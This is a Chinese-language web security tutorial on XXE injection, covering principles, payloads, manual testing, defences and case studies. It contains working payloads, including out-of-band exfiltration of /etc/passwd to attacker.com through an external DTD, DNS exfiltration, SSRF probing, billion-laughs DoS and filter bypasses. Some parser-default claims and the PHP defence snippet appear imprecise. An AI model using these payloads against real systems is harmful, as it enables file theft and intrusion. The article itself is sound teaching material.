XXE漏洞全解析：从XML外部实体注入原理到实战攻防

📅 发布时间：2026/6/24 20:36:47 👁 浏览次数：
XXE漏洞全解析：从XML外部实体注入原理到实战攻防

1. 项目概述：为什么XXE漏洞值得你投入精力？

如果你是一名Web安全工程师、渗透测试人员，或者正在学习网络安全，那么“XXE”这个词你一定不陌生。它全称是XML External Entity，中文叫“XML外部实体注入”。乍一听，这名字有点技术范儿，感觉是那种藏在犄角旮旯、只有高手才会碰到的漏洞。但实际情况恰恰相反，XXE漏洞在Web应用中相当普遍，从大型互联网公司的API接口，到企业内部的管理系统，再到一些CTF比赛的Web题目里，你都能频繁地看到它的身影。我处理过不少安全评估项目，其中因为XXE导致信息泄露甚至服务器被入侵的案例，占比不低。很多开发者在设计功能时，为了方便数据交换，会启用XML解析，但却忽略了其默认配置下的巨大安全隐患。

这篇文章的目标很明确：带你从“零基础”走到“精通”。所谓零基础，意味着即使你之前只听说过XML，对XXE一无所知，也能跟着这篇文章一步步理解它的原理、危害和利用方式。而“精通”，则意味着你将不仅知道如何手工测试和利用一个基础的XXE，更能理解在不同编程语言、不同解析器、不同防御场景下的变种和绕过技巧，最终具备在真实、复杂环境中发现并验证XXE漏洞的能力。我会结合我过去踩过的坑、调试过的案例，把那些官方文档里不会写的细节和“骚操作”都分享出来。收藏这一篇，相当于你拥有了一个关于XXE的实战手册，遇到相关问题时，回来翻翻总能找到思路。

2. 核心原理深度拆解：XML解析器是如何“引狼入室”的？

要理解XXE，必须先彻底搞懂XML和DTD。很多人觉得这部分枯燥，但这是地基，地基不牢，后面的利用和防御都是空中楼阁。

2.1 XML与DTD：不仅仅是标签语言

XML（可扩展标记语言）本身是一种用于存储和传输数据的标记语言，它结构清晰，可读性好。但XML的强大和危险，很大程度上来自于它的一个可选组件：DTD（文档类型定义）。你可以把DTD理解为XML文档的“语法说明书”或“结构定义”。它规定了XML里可以有哪些元素、这些元素之间是什么关系、元素可以包含什么类型的数据等等。

在DTD中，有一个关键的概念叫“实体”（Entity）。实体本质上是一个缩写或代称，用于定义一段文本或数据。在XML文档中，你可以用&实体名;的方式来引用它，解析时会被替换成实体定义的真实内容。实体分为内部实体和外部实体。

  • 内部实体：定义在XML文档内部。例如：

    <!DOCTYPE test [ <!ENTITY company "ACME Corp"> ]> <user>&company;</user>

    解析后，<user>标签的内容就是 “ACME Corp”。这很安全，因为内容是完全可控的。

  • 外部实体：这才是XXE的根源。外部实体允许从本地文件系统或远程网络中加载内容。其定义使用SYSTEM关键字，后跟一个URI（统一资源标识符）。

    <!DOCTYPE test [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]> <data>&ext;</data>

    当XML解析器处理这份文档时，它会看到&ext;，然后根据DTD声明，去尝试读取file:///etc/passwd这个文件，并将其内容填充到<data>标签中。

关键点就在这里：如果服务器端的应用程序接收了用户可控的XML数据，并且其XML解析器没有禁用外部实体加载功能，那么攻击者就可以通过构造恶意的外部实体定义，让服务器去读取本应无法访问的敏感文件（如系统配置文件、源代码、数据库连接文件），甚至发起网络请求（SSRF攻击），探测内网服务。

2.2 不同语言和解析器的“脾气”

XXE的影响与具体的编程语言和所使用的XML解析库密切相关。不同库的默认配置和安全特性差异很大。

  • PHP +simplexml_load_string：在PHP 8.0之前，libxml库默认是启用外部实体加载的（LIBXML_NOENT常量并非默认）。这意味着使用simplexml_load_string()或DOMDocument::loadXML()而不做任何安全设置，就是“裸奔”状态，极易中招。
  • Java + SAX/DOM：Java生态庞大，解析库多。老旧的或配置不当的SAXParserFactory、DocumentBuilderFactory可能默认允许外部实体。需要显式地设置FEATURE来关闭，例如setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)。
  • Python +lxml.etree/xml.etree.ElementTree：Python的标准库xml.etree.ElementTree在Python 3.7.1及更早版本中，默认是不完全安全的。而第三方库lxml默认也是不安全的，需要手动设置resolve_entities=False。
  • .NET +XmlDocument/XmlTextReader：.NET Framework 4.0之前的版本，XmlDocument和XmlTextReader默认也是危险的。需要设置XmlReaderSettings的DtdProcessing属性为Prohibit或Ignore，并设置XmlResolver为null。

实操心得：在审计代码时，不要只看有没有解析XML，一定要追溯到用的是哪个库、哪个版本的哪个函数，并检查相关的安全选项是否被正确设置。一个“解析XML”的模糊描述背后，可能藏着完全不同的安全状况。

3. 漏洞利用手法全解析：从基础读取到高级利用

理解了原理，我们来看看攻击者具体能怎么玩。XXE的利用方式远不止读个文件那么简单，它是一个攻击面很广的漏洞类型。

3.1 基础利用：敏感文件读取

这是最常见、最直接的利用方式。目标是读取服务器上的敏感文件。

  • 读取系统文件：

    <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>

    如果目标是Windows服务器，路径可以尝试file:///C:/Windows/System32/drivers/etc/hosts或file:///C:/boot.ini（旧系统）。

  • 读取Web应用源码：有时文件路径是相对的。可以尝试读取网站目录下的配置文件，如file:///var/www/html/config.php。需要结合一些路径遍历或目录爆破的技巧。

  • 利用PHP包装器：如果服务器是PHP环境，且allow_url_fopen开启，可以利用PHP的过滤器来读取文件，有时能绕过一些字符限制或获取文件源码。

    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

    这样读出来的内容是base64编码的，需要在返回结果中解码。

3.2 盲注XXE：没有回显怎么办？

很多情况下，XML解析的结果并不会直接返回给用户（例如，XML被解析后用于后台逻辑处理，只有处理成功或失败的状态返回）。这时就需要利用“盲注XXE”（Blind XXE）。

核心思路是：让服务器向一个我们可控的地址发起HTTP请求，通过这个请求把我们想要的数据带出来。

  1. 构造带外数据通道（OOB）：

    <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %send; ]> <root></root>

    在攻击者控制的服务器(attacker.com)上，放置evil.dtd文件，内容为：

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/exfil?data=%file;'>"> %all;

    这个技巧利用了参数实体（以%开头的实体）和外部DTD。服务器在解析XML时，会加载外部DTD，执行其中的参数实体，最终触发一个到attacker.com的HTTP GET请求，并将文件内容作为URL参数data发送出来。

    注意事项：这里有个关键限制，在内部DTD中，参数实体不能直接用在标记声明中。所以必须分两步，先把文件内容读入一个参数实体%file，然后通过外部DTD来构造最终的发送实体%send。这是盲注XXE的一个经典技巧。

  2. 利用DNS协议外带数据：如果HTTP请求被拦截或防火墙严格，可以尝试使用DNS查询来外带数据。虽然DNS请求携带的数据量有限（受域名长度限制），且速度慢，但隐蔽性可能更高。

    <!ENTITY xxe SYSTEM "http://&file;.attacker.com/">

    需要将文件内容进行编码（如hex或base32）并作为子域名的一部分。

3.3 进阶利用：SSRF与端口扫描

由于外部实体支持http://、ftp://等协议，XXE可以被用来发起服务器端请求伪造攻击。

  • 探测内网服务：假设服务器在内网，攻击者无法直接访问。

    <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">

    通过观察服务器的响应时间或错误信息，可以判断该内网IP的端口是否开放。可以编写脚本批量探测常见的内网段和端口，绘制内网地图。

  • 攻击内网脆弱应用：如果内网存在未授权访问的Redis、Memcached或脆弱的管理后台，可以通过XXE直接向这些服务发送恶意请求。例如，向内网Redis发送命令，可能导致远程代码执行。

3.4 其他利用方式：拒绝服务与本地文件包含

  • 拒绝服务（DoS）：利用XML解析器的特性进行资源消耗。例如，著名的“亿次笑”攻击。

    <!DOCTYPE data [ <!ENTITY a0 "dos"> <!ENTITY a1 "&a0;&a0;"> <!ENTITY a2 "&a1;&a1;"> <!-- 一直定义到 a8 或更多 --> <!ENTITY a9 "&a8;&a8;"> ]> <data>&a9;</data>

    解析时，实体&a9;会展开成巨量的字符串，可能耗尽服务器内存。现代解析器大多对此有防护。

  • 结合本地文件包含（LFI）：在一些特定场景下，如果服务器同时存在文件上传和XXE，且上传的文件会被包含执行，可以尝试上传一个包含恶意DTD的XML文件，然后通过XXE触发对这个文件的包含，可能实现代码执行。

4. 实战挖掘与手工测试流程

知道了怎么利用，下一步就是怎么找到它。自动化工具（如Burp Suite的Scanner， OAST工具）能发现一部分明显的XXE，但深度的、需要绕过的XXE往往需要手工测试。

4.1 寻找攻击入口点

首先，你需要找到所有接收XML作为输入的地方。

  1. 显式XML端点：
    • API接口：寻找Content-Type: application/xml或text/xml的请求。
    • SOAP服务：SOAP协议基于XML，其请求体是标准的XML格式。
    • RSS/ATOM订阅：一些内容聚合功能可能接收XML。
    • 文件上传功能：允许上传XML文件（如配置文件、数据导入）。
  2. 隐式XML端点：
    • Content-Type: application/x-www-form-urlencoded或multipart/form-data，但参数值可能包含XML结构。尝试修改Content-Type为application/xml，并将原参数转换为XML格式发送。
    • 一些接口支持多种数据格式（JSON/XML），通过改Content-Type和数据结构来测试。
    • 查看前端代码，是否有地方将数据转换为XML发送。

4.2 手工测试步骤

发现可疑端点后，遵循以下步骤进行测试：

步骤一：探测XML解析是否生效先发送一个最简单的、良性的XML，看服务器是否正常处理。

<?xml version="1.0"?> <test>hello</test>

观察响应。如果返回解析错误、或者业务逻辑因数据格式变化而报错，说明它确实在解析XML。

步骤二：测试外部实体是否开启尝试引用一个已知存在的、无害的外部实体。最常用的是引用一个互联网上的DTD文件（如W3C的）。

<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % ext SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> %ext; ]> <test>hello</test>

或者尝试读取一个肯定存在的系统文件（如Unix的/etc/hosts或Windows的C:\Windows\System32\drivers\etc\hosts）。

<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hosts"> ]> <test>&xxe;</test>
  • 如果文件内容出现在响应中：恭喜，存在直接的、有回显的XXE。
  • 如果服务器响应明显变慢或超时：可能触发了外部实体加载，但内容被过滤或无法返回。此时转向盲注测试。
  • 如果返回明确的错误，如“禁止外部实体”：说明安全配置已启用，但不要放弃，尝试绕过。

步骤三：盲注测试如果步骤二没有直接回显，搭建一个接收HTTP请求的服务器（可以用Burp Collaborator，或者自己用Python起一个临时HTTP服务）。 发送盲注Payload，观察你的服务器是否收到了来自目标应用的HTTP请求。如果收到了，证明存在盲注XXE。

步骤四：绕过技巧尝试如果遇到防护，常见的绕过点包括：

  • 协议限制：只允许http://和https://？试试ftp://、gopher://、jar:、netdoc:等。
  • 黑名单过滤：过滤了SYSTEM、ENTITY、DOCTYPE等关键词？尝试大小写混淆、双写、插入换行或制表符、使用UTF-7编码等。
  • 解析器差异：有些解析器可能支持XInclude作为替代攻击向量。尝试使用<xi:include>标签。
    <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root>
    这不需要DTD声明，但需要服务器端解析时显式支持XInclude处理。

4.3 利用工具辅助

  • Burp Suite Professional：Intruder模块可以用于模糊测试和端口探测。Collaborator功能是进行盲注测试的神器，无需自建服务器。
  • XXE Injector (Burp插件)：可以自动生成和测试多种XXE Payload。
  • OAST (Out-of-band Application Security Testing) 工具：如interactsh， 类似Burp Collaborator的开源替代品，用于检测盲注漏洞。

5. 漏洞防御的纵深策略

知道了怎么攻，才能更好地防。防御XXE需要从多个层面建立纵深防御体系。

5.1 根本措施：禁用外部实体和DTD

这是最有效、最推荐的方式。在代码中初始化XML解析器时，必须显式地关闭危险功能。

  • Java (DocumentBuilderFactory)：
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
  • Python (lxml)：
    from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) tree = etree.parse(xml_source, parser)
  • PHP：
    libxml_disable_entity_loader(true); // 对于PHP 8.0+，此函数被移除，因为默认已禁用。应确保使用新版本。 $doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); // 注意：LIBXML_NOENT 是“解析实体”，并非安全选项！安全的做法是使用 `libxml_disable_entity_loader`。
  • .NET：
    XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; // 或 Ignore settings.XmlResolver = null; // 关键：将解析器设为null using (XmlReader reader = XmlReader.Create(inputStream, settings)) { // ... }

5.2 输入验证与过滤

在无法彻底禁用DTD的旧系统或特殊场景下，严格的输入验证是第二道防线。

  1. 白名单验证：对用户输入的XML进行模式验证（XSD Schema），只允许预定义的结构和元素。这能有效阻止任意DTD的插入。
  2. 黑名单过滤：虽然不如白名单可靠，但可以作为一种补充。过滤或转义用户输入中的<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等关键词。注意：过滤逻辑必须严谨，避免被绕过。
  3. 使用更安全的数据格式：在系统设计之初，就优先考虑使用JSON等现代数据格式替代XML。JSON没有外部实体概念，从根本上避免了XXE。

5.3 依赖库升级与安全配置

  • 及时升级：使用最新版本的XML解析库，它们通常有更安全的默认配置和已知漏洞的修复。
  • 安全配置检查：将XML解析器的安全配置作为代码审计和安全扫描的必查项。可以编写自动化脚本，在CI/CD流水线中检查项目依赖库的版本和关键安全配置。

5.4 网络层与运行时防护

  • 出站网络限制：在服务器防火墙或安全组策略上，严格限制应用服务器发起的非必要出站连接。即使存在盲注XXE，也无法将数据外传到攻击者服务器。
  • 运行时应用自我保护：使用RASP工具监控应用运行时行为，当检测到XML解析器尝试加载外部资源或访问敏感文件路径时，进行实时拦截和告警。

6. 典型场景案例复盘

理论结合实践，我们通过两个简化但真实的场景来加深理解。

6.1 案例一：API接口的数据导入功能

场景：一个企业后台管理系统，提供“批量导入用户”功能，支持上传XML格式的数据文件。漏洞发现：在Burp Suite中拦截上传请求，发现POST数据确实是XML格式。尝试在XML中插入测试实体，发现服务器返回了file:///etc/passwd文件的内容。漏洞利用：直接读取了服务器上的数据库配置文件（../WEB-INF/classes/db.properties），获取了数据库连接密码。根源分析：后端使用Java的SAXParser解析上传的XML，但没有设置任何安全属性。开发人员认为上传文件是受控的（由管理员操作），忽略了文件内容本身可能恶意。修复方案：在解析前，强制校验XML结构是否符合预定义的XSD；同时，在创建SAXParserFactory后，立即设置setFeature(“http://xml.org/sax/features/external-general-entities”, false)。

6.2 案例二：基于SOAP的Web服务

场景：一个遗留的财务系统，提供基于SOAP的Web Service接口进行数据查询。漏洞发现：在测试SOAP请求时，发现其Content-Type为text/xml。将SOAP Body部分替换为包含外部实体的测试Payload，服务器响应超时。漏洞利用：使用盲注XXE技术，构造Payload让服务器向我们的Burp Collaborator域名发起DNS查询和HTTP请求，成功证实漏洞存在，并利用ftp://协议（目标服务器网络策略较松）将/etc/shadow文件外带出来。根源分析：该SOAP服务使用了一个非常老版本的Apache Axis框架，其底层XML解析配置不安全。修复方案：升级框架版本；在全局的Web服务配置中，强制所有SOAP处理器使用安全的XML解析器配置；在网络边界部署WAF，对入站的SOAP消息进行基于特征的过滤。

7. 常见问题与排查技巧实录

在实际测试和修复XXE的过程中，你会遇到各种奇怪的问题。这里记录一些典型的坑和解决思路。

问题1：Payload明明没问题，为什么没有触发？

  • 检查点1：XML声明格式。确保<?xml version="1.0"?>开头，并且编码正确。有时需要添加encoding='UTF-8'。
  • 检查点2：Content-Type头。确保HTTP请求的Content-Type是application/xml或text/xml，而不是application/x-www-form-urlencoded。
  • 检查点3：数据位置。你的恶意XML是放在POST Body里，还是作为某个参数的值？需要根据接口实际设计调整。
  • 检查点4：解析器行为。有些解析器只解析根元素下的内容，而忽略DTD。尝试把实体引用放在更深的节点里。

问题2：为什么读取文件返回的是乱码或者空？

  • 文件编码问题：XML解析器可能试图以某种编码（如UTF-8）去解析文件，但文件本身是二进制或其它编码。尝试使用PHP包装器进行Base64编码读取。
  • 文件权限问题：Web进程用户可能没有读取目标文件的权限。尝试读取/etc/passwd（通常世界可读）或Web目录下的日志文件来确认。
  • 内容被过滤/截断：应用程序可能在输出前对内容进行了过滤，去掉了换行符、特殊字符，或者只截取前一部分。尝试读取一个内容简单、没有特殊字符的文件（如/etc/hosts）来测试。

问题3：盲注XXE时，我的服务器没收到请求。

  • 网络连通性：确保你的服务器（或Collaborator）地址能从目标服务器访问（无防火墙阻挡）。可以先尝试让目标请求一个公网存在的图片（如http://www.w3.org/favicon.ico）来测试网络。
  • 协议被禁：目标服务器可能禁止了HTTP/HTTPS出站请求。尝试使用DNS协议（http://subdomain.attacker.com）或其它可能开放的协议。
  • Payload格式错误：盲注XXE对DTD的格式要求很严格，特别是参数实体的使用。仔细检查你的DTD文件语法，确保没有拼写错误，并且URL可公开访问。

问题4：修复后如何验证是否生效？

  • 单元测试：编写一个单元测试用例，模拟发送一个包含恶意外部实体的XML，断言解析会抛出安全异常或返回安全处理后的结果（如实体不被展开）。
  • 动态扫描：使用Burp Suite等工具对修复后的接口重新进行主动扫描。
  • 代码审计：检查修复代码，确认使用的安全属性/特性是正确的、且在所有XML解析路径上都得到了应用。避免出现修复了A接口，但B接口忘了改的情况。

XXE漏洞的挖掘和防御是一场关于XML解析器配置细节的博弈。它不像SQL注入那样直观，但正因为其隐蔽性和危害的严重性，成为了中级迈向高级Web安全工程师必须熟练掌握的技能。希望这篇从原理到实战、从攻击到防御的长文，能成为你手边一份可靠的参考资料。安全之路，细节决定成败，多动手测试，多思考原理，才能建立起真正的纵深防御意识。

相关新闻

OpenClaw：面向生产环境的AI智能体封装与工作流编排平台

OpenClaw：面向生产环境的AI智能体封装与工作流编排平台

2026/6/24 20:36:10 查看详情
水下显微镜技术：从自适应光学到原位观测，揭示珊瑚礁微观生态

水下显微镜技术：从自适应光学到原位观测，揭示珊瑚礁微观生态

2026/6/24 20:34:22 查看详情
SpringBoot配置文件脱敏实战：Jasypt加密与安全部署指南

SpringBoot配置文件脱敏实战：Jasypt加密与安全部署指南

2026/6/24 20:34:41 查看详情
Playwright与Puppeteer在2026年的工程分野：从协议层到信创落地

Playwright与Puppeteer在2026年的工程分野：从协议层到信创落地

2026/6/24 22:58:46 查看详情
单线EEPROM DM160232评估与嵌入式驱动开发实战

单线EEPROM DM160232评估与嵌入式驱动开发实战

2026/6/24 22:58:46 查看详情
Ubuntu下部署OpenClaw智能体框架实战指南

Ubuntu下部署OpenClaw智能体框架实战指南

2026/6/24 22:58:48 查看详情
OMO多Agent工作流迁移到Claude Code的协同协议适配

OMO多Agent工作流迁移到Claude Code的协同协议适配

2026/6/24 22:56:22 查看详情
量子密码双重加密技术：原理、实现与工程化挑战

量子密码双重加密技术：原理、实现与工程化挑战

2026/6/24 22:54:04 查看详情
AI IDE中UI/UX技能的真实定位与设计系统集成方法

AI IDE中UI/UX技能的真实定位与设计系统集成方法

2026/6/24 22:54:28 查看详情
Amber Smalltalk：在JavaScript运行时上构建高效客户端应用的终极指南

Amber Smalltalk：在JavaScript运行时上构建高效客户端应用的终极指南

2026/6/24 0:01:33 查看详情
console-powers与其他调试工具对比：何时选择什么方案

console-powers与其他调试工具对比：何时选择什么方案

2026/6/24 0:01:33 查看详情
Data Hacking代码解析：深入理解项目核心模块与实现原理 [特殊字符]

Data Hacking代码解析：深入理解项目核心模块与实现原理 [特殊字符]

2026/6/24 0:03:28 查看详情
WSL2下部署Openclaw：Windows开发者高效落地AI智能体的实践指南

WSL2下部署Openclaw：Windows开发者高效落地AI智能体的实践指南

2026/6/24 7:34:35 查看详情
GameServerManager：游戏服务器管理的终极解决方案

GameServerManager：游戏服务器管理的终极解决方案

2026/6/24 1:31:33 查看详情
实验室无尘室设计规范解析——华川洁净 - 华川洁净

实验室无尘室设计规范解析——华川洁净 - 华川洁净

2026/6/24 7:38:10 查看详情
YOLOv11涨点改进| CVPR 2026 | 独家创新首发、特征融合改进篇| 引入CMGF 引导特征融合机制，实现对不同模态特征的自适应增强与高效融合，助力多模态目标检测，小目标检测或分割有效涨点

YOLOv11涨点改进| CVPR 2026 | 独家创新首发、特征融合改进篇| 引入CMGF 引导特征融合机制，实现对不同模态特征的自适应增强与高效融合，助力多模态目标检测，小目标检测或分割有效涨点

2026/6/23 14:47:56 查看详情
E-E-A-T 成第一权重：2027 年无经验内容将被彻底淘汰

E-E-A-T 成第一权重：2027 年无经验内容将被彻底淘汰

2026/6/24 7:33:32 查看详情
深圳福田园岭老小区搬家公司推荐 经验足师傅高效搬运攻略 - 从来都是英雄出少年

深圳福田园岭老小区搬家公司推荐 经验足师傅高效搬运攻略 - 从来都是英雄出少年

2026/6/24 23:00:31 查看详情